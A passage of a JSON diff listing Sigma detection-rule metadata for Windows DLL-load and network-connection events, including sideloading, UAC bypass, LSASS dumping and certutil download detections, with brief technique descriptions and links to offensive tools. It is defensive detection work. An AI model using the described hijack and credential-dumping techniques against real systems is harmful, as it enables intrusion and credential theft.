"tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/08/17", + "filename": "image_load_side_load_third_party.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of DLLs that are part of web browsers", + "uuid": "72ca7c75-bf85-45cd-aca7-255d360e423c", + "value": "Web Browsers DLL Sideloading", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_web_browsers.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/08/17", + "filename": "image_load_side_load_web_browsers.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects SILENTTRINITY stager use", + "uuid": "75c505b1-711d-4f68-a357-8c3fe37dbf2d", + "value": "SILENTTRINITY Stager Execution", + "meta": { + "refs": [ + "https://github.com/byt3bl33d3r/SILENTTRINITY", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_silenttrinity_stage_use.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071" + ], + "creation_date": "2019/10/22", + "filename": "image_load_silenttrinity_stage_use.yml", + "author": "Aleksey Potapov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detect DLL Load from Spooler Service backup folder", + "uuid": "02fb90de-c321-4e63-a6b9-25f4b03dfd14", + "value": "Windows Spooler Service Suspicious Binary Load", + "meta": { + "refs": [ + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/ly4k/SpoolFool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_spoolsv_dll_load.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574", + "cve.2021.1675", + "cve.2021.34527" + ], + "creation_date": "2021/06/29", + "filename": "image_load_spoolsv_dll_load.yml", + "author": "FPT.EagleEye, Thomas Patzke (improvements)", + "level": "informational", + "falsepositive": [ + "Loading of legitimate driver" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of advapi31.dll by a process running in an uncommon folder", + "uuid": "d813d662-785b-42ca-8b4a-f7457d78d5a9", + "value": "Suspicious Load of Advapi31.dll", + "meta": { + "refs": [ + "https://github.com/hlldz/Phant0m", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_advapi32_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ], + "creation_date": "2022/02/03", + "filename": "image_load_susp_advapi32_dll.yml", + "author": "frack113", + "level": "informational", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects cmstp loading \"dll\" or \"ocx\" files from suspicious locations", + "uuid": "75e508f7-932d-4ebc-af77-269237a84ce1", + "value": "Cmstp Suspicious DLL Load", + "meta": { + "refs": [ + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/TTPs/Defense%20Evasion/T1218%20-%20Signed%20Binary%20Proxy%20Execution/T1218.003%20-%20CMSTP/Procedures.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_cmstp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.003" + ], + "creation_date": "2022/08/30", + "filename": "image_load_susp_cmstp.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes.\nTools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll.\nAs an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.\n", + "uuid": "0e277796-5f23-4e49-a490-483131d4f6e1", + "value": "Load of dbghelp/dbgcore DLL from Suspicious Process", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump", + "https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html", + "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dbghelp_dbgcore_load.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2019/10/27", + "filename": "image_load_susp_dbghelp_dbgcore_load.yml", + "author": "Perez Diego (@darkquassar), oscd.community, Ecco", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a system process (ie located in system32, syswow64...etc) loads a DLL from a suspicious location such as %temp%", + "uuid": "9e9a9002-56c4-40fd-9eff-e4b09bfa5f6c", + "value": "DLL Load By System Process From Suspicious Locations", + "meta": { + "refs": [ + "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC (Idea)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dll_load_system_process.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ], + "creation_date": "2022/07/17", + "filename": "image_load_susp_dll_load_system_process.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.", + "uuid": "828af599-4c53-4ed2-ba4a-a9f835c434ea", + "value": "Fax Service DLL Search Order Hijack", + "meta": { + "refs": [ + "https://windows-internals.com/faxing-your-way-to-system/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_fax_dll.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2020/05/04", + "filename": "image_load_susp_fax_dll.yml", + "author": "NVISO", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects any assembly DLL being loaded by an Office Product", + "uuid": "ff0f2b05-09db-4095-b96d-1b75ca24894a", + "value": "dotNET DLL Loaded Via Office Applications", + "meta": { + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_assembly_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/02/19", + "filename": "image_load_susp_office_dotnet_assembly_dll_load.yml", + "author": "Antonlovesdnb", + "level": "high", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects CLR DLL being loaded by an Office Product", + "uuid": "d13c43f0-f66b-4279-8b2c-5912077c1780", + "value": "CLR DLL Loaded Via Office Applications", + "meta": { + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_clr_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/02/19", + "filename": "image_load_susp_office_dotnet_clr_dll_load.yml", + "author": "Antonlovesdnb", + "level": "high", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects any GAC DLL being loaded by an Office Product", + "uuid": "90217a70-13fc-48e4-b3db-0d836c5824ac", + "value": "GAC DLL Loaded Via Office Applications", + "meta": { + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dotnet_gac_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/02/19", + "filename": "image_load_susp_office_dotnet_gac_dll_load.yml", + "author": "Antonlovesdnb", + "level": "high", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DSParse DLL being loaded by an Office Product", + "uuid": "a2a3b925-7bb0-433b-b508-db9003263cc4", + "value": "Active Directory Parsing DLL Loaded Via Office Applications", + "meta": { + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dsparse_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/02/19", + "filename": "image_load_susp_office_dsparse_dll_load.yml", + "author": "Antonlovesdnb", + "level": "high", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects Kerberos DLL being loaded by an Office Product", + "uuid": "7417e29e-c2e7-4cf6-a2e8-767228c64837", + "value": "Active Directory Kerberos DLL Loaded Via Office Applications", + "meta": { + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_kerberos_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/02/19", + "filename": "image_load_susp_office_kerberos_dll_load.yml", + "author": "Antonlovesdnb", + "level": "high", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the image load of Python Core indicative of a Python script bundled with Py2Exe.", + "uuid": "cbb56d62-4060-40f7-9466-d8aaf3123f83", + "value": "Python Py2Exe Image Load", + "meta": { + "refs": [ + "https://www.py2exe.org/", + "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.002" + ], + "creation_date": "2020/05/03", + "filename": "image_load_susp_python_image_load.yml", + "author": "Patrick St. John, OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Legitimate Py2Exe Binaries", + "Known false positive caused with Python Anaconda" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects CLR DLL being loaded by an scripting applications", + "uuid": "4508a70e-97ef-4300-b62b-ff27992990ea", + "value": "CLR DLL Loaded Via Scripting Applications", + "meta": { + "refs": [ + "https://github.com/tyranid/DotNetToJScript", + "https://thewover.github.io/Introducing-Donut/", + "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2020/10/14", + "filename": "image_load_susp_script_dotnet_clr_dll_load.yml", + "author": "omkar72, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for processes loading System.Drawing.ni.dll. This could be an indicator of potential Screen Capture.", + "uuid": "666ecfc7-229d-42b8-821e-1a8f8cb7057c", + "value": "Suspicious System.Drawing Load", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/16", + "https://threathunterplaybook.com/evals/apt29/detections/7.A.1_3B4E5808-3C71-406A-B181-17B0CE3178C9.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_system_drawing_load.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ], + "creation_date": "2020/05/02", + "filename": "image_load_susp_system_drawing_load.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz", + "uuid": "e32ce4f5-46c6-4c47-ba69-5de3c9193cd7", + "value": "Possible Process Hollowing Image Loading", + "meta": { + "refs": [ + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_uncommon_image_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2018/01/07", + "filename": "image_load_susp_uncommon_image_load.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Very likely, needs more tuning" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the image load of VSS DLL by uncommon executables", + "uuid": "37774c23-25a1-4adb-bb6d-8bb9fd59c0f8", + "value": "Image Load of VSS Dll by Uncommon Executable", + "meta": { + "refs": [ + "https://github.com/ORCx41/DeleteShadowCopies", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_dll_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.impact", + "attack.t1490" + ], + "creation_date": "2022/10/31", + "filename": "image_load_susp_vss_dll_load.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the image load of vss_ps.dll by uncommon executables", + "uuid": "333cdbe8-27bb-4246-bf82-b41a0dca4b70", + "value": "Image Load of VSS_PS.dll by Uncommon Executable", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add", + "https://twitter.com/am0nsec/status/1412232114980982787", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_ps_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.impact", + "attack.t1490" + ], + "creation_date": "2021/07/07", + "filename": "image_load_susp_vss_ps_load.yml", + "author": "Markus Neis, @markus_neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL's Loaded Via Word Containing VBA Macros", + "uuid": "e6ce8457-68b1-485b-9bdd-3c2b5d679aa9", + "value": "VBA DLL Loaded Via Microsoft Word", + "meta": { + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_winword_vbadll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/02/19", + "filename": "image_load_susp_winword_vbadll_load.yml", + "author": "Antonlovesdnb", + "level": "high", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\\Windows\\System32\\ by default.\nAn attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services \"svchost.exe -k netsvcs\" to gain code execution on a remote machine.\n", + "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b77", + "value": "Svchost DLL Search Order Hijack", + "meta": { + "refs": [ + "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_svchost_dll_search_order_hijack.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1574.002", + "attack.t1574.001" + ], + "creation_date": "2019/10/28", + "filename": "image_load_svchost_dll_search_order_hijack.yml", + "author": "SBousseaden", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool to tamper with Windows event logs", + "uuid": "49329257-089d-46e6-af37-4afce4290685", + "value": "SharpEvtMute EvtMuteHook Load", + "meta": { + "refs": [ + "https://github.com/bats3c/EvtMute", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_sysmon_disable_sharpevtmute.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2022/09/07", + "filename": "image_load_sysmon_disable_sharpevtmute.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other DLLs with that import hash" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", + "uuid": "e76c8240-d68f-4773-8880-5c6f63595aaf", + "value": "Time Travel Debugging Utility Usage", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", + "https://twitter.com/mattifestation/status/1196390321783025666", + "https://twitter.com/oulusoyum/status/1191329746069655553", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_tttracer_mod_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.credential_access", + "attack.t1218", + "attack.t1003.001" + ], + "creation_date": "2020/10/06", + "filename": "image_load_tttracer_mod_load.yml", + "author": "Ensar \u015eamil, @sblmsrsn, @oscd_initiative", + "level": "high", + "falsepositive": [ + "Legitimate usage by software developers/testers" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the \"iscsicpl.exe\" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%", + "uuid": "9ed5959a-c43c-4c59-84e3-d28628429456", + "value": "UAC Bypass Using Iscsicpl - ImageLoad", + "meta": { + "refs": [ + "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC", + "https://twitter.com/wdormann/status/1547583317410607110", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2022/07/17", + "filename": "image_load_uac_bypass_iscsicpl.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Attempts to load dismcore.dll after dropping it", + "uuid": "a5ea83a7-05a5-44c1-be2e-addccbbd8c03", + "value": "UAC Bypass With Fake DLL", + "meta": { + "refs": [ + "https://steemit.com/utopian-io/@ah101/uac-bypassing-utility", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_via_dism.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "attack.t1574.002" + ], + "creation_date": "2020/10/06", + "filename": "image_load_uac_bypass_via_dism.yml", + "author": "oscd.community, Dmitry Uchakin", + "level": "high", + "falsepositive": [ + "Actions of a legitimate telnet client" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential use of UIPromptForCredentials functions by looking for some of the DLLs needed for it.", + "uuid": "9ae01559-cf7e-4f8e-8e14-4c290a1b4784", + "value": "UIPromptForCredentials DLLs", + "meta": { + "refs": [ + "https://securitydatasets.com/notebooks/small/windows/06_credential_access/SDWIN-201020013208.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password", + "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uipromptforcreds_dlls.yml" + ], + "tags": [ + "attack.credential_access", + "attack.collection", + "attack.t1056.002" + ], + "creation_date": "2020/10/20", + "filename": "image_load_uipromptforcreds_dlls.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Other legitimate processes loading those DLLs in your environment." + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Loading unsigned image (DLL, EXE) into LSASS process", + "uuid": "857c8db3-c89b-42fb-882b-f681c7cf4da2", + "value": "Unsigned Image Loaded Into LSASS Process", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_unsigned_image_loaded_into_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2019/10/22", + "filename": "image_load_unsigned_image_loaded_into_lsass.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Valid user connecting using RDP" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances", + "uuid": "33a2d1dd-f3b0-40bd-8baf-7974468927cc", + "value": "APT PRIVATELOG Image Load Pattern", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_usp_svchost_clfsw32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2021/09/07", + "filename": "image_load_usp_svchost_clfsw32.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Rarely observed" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL", + "uuid": "9313dc13-d04c-46d8-af4a-a930cc55d93b", + "value": "VMware Xfer Loading DLL from Nondefault Path", + "meta": { + "refs": [ + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_vmware_xfer_load_dll_from_nondefault_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/02", + "filename": "image_load_vmware_xfer_load_dll_from_nondefault_path.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).", + "uuid": "06ce37c2-61ab-4f05-9ff5-b1a96d18ae32", + "value": "WMIC Loading Scripting Libraries", + "meta": { + "refs": [ + "https://securitydatasets.com/notebooks/small/windows/05_defense_evasion/SDWIN-201017061100.html", + "https://twitter.com/dez_/status/986614411711442944", + "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1220" + ], + "creation_date": "2020/10/17", + "filename": "image_load_wmic_remote_xsl_scripting_dlls.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "The command wmic os get lastboottuptime loads vbscript.dll", + "The command wmic os get locale loads vbscript.dll", + "Since the ImageLoad event doesn't have enough information in this case. It's better to look at the recent process creation events that spawned the WMIC process and investigate the command line and parent/child processes to get more insights" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", + "uuid": "7707a579-e0d8-4886-a853-ce47e4575aaa", + "value": "Wmiprvse Wbemcomn DLL Hijack", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmiprvse_wbemcomn_dll_hijack.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/10/12", + "filename": "image_load_wmiprvse_wbemcomn_dll_hijack.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects non wmiprvse loading WMI modules", + "uuid": "671bb7e3-a020-4824-a00e-2ee5b55f385e", + "value": "WMI Modules Loaded", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190811201010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_module_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2019/08/10", + "filename": "image_load_wmi_module_load.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "informational", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMI command line event consumers", + "uuid": "05936ce2-ee05-4dae-9d03-9a391cf2d2c6", + "value": "WMI Persistence - Command Line Event Consumer", + "meta": { + "refs": [ + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_persistence_commandline_event_consumer.yml" + ], + "tags": [ + "attack.t1546.003", + "attack.persistence" + ], + "creation_date": "2018/03/07", + "filename": "image_load_wmi_persistence_commandline_event_consumer.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Unknown (data set is too small; further testing needed)" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.", + "uuid": "ad1f4bb9-8dfb-4765-adb6-2a7cfb6c0f94", + "value": "Suspicious WSMAN Provider Image Loads", + "meta": { + "refs": [ + "https://twitter.com/chadtilbury/status/1275851297770610688", + "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", + "https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-architecture", + "https://github.com/bohops/WSMan-WinRM", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.003" + ], + "creation_date": "2020/06/24", + "filename": "image_load_wsman_provider_image_load.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable in the Windows folder accessing github.com", + "uuid": "635dbb88-67b3-4b41-9ea5-a3af2dd88153", + "value": "Microsoft Binary Github Communication", + "meta": { + "refs": [ + "https://twitter.com/M_haggis/status/900741347035889665", + "https://twitter.com/M_haggis/status/1032799638213066752", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_github_com.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1105", + "attack.exfiltration", + "attack.t1567.001" + ], + "creation_date": "2017/08/24", + "filename": "net_connection_win_binary_github_com.yml", + "author": "Michael Haag (idea), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown", + "@subTee in your network" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable in the Windows folder accessing suspicious domains", + "uuid": "e0f8ab85-0ac9-423b-a73a-81b3c7b1aa97", + "value": "Microsoft Binary Suspicious Communication Endpoint", + "meta": { + "refs": [ + "https://twitter.com/M_haggis/status/900741347035889665", + "https://twitter.com/M_haggis/status/1032799638213066752", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_susp_com.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1105" + ], + "creation_date": "2018/08/30", + "filename": "net_connection_win_binary_susp_com.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects a network connection intitiated by the certutil.exe tool. Attackers can abuse `certutil.exe` to download malware or offensive security tools.", + "uuid": "0dba975d-a193-4ed1-a067-424df57570d1", + "value": "Certutil Initiated Connection", + 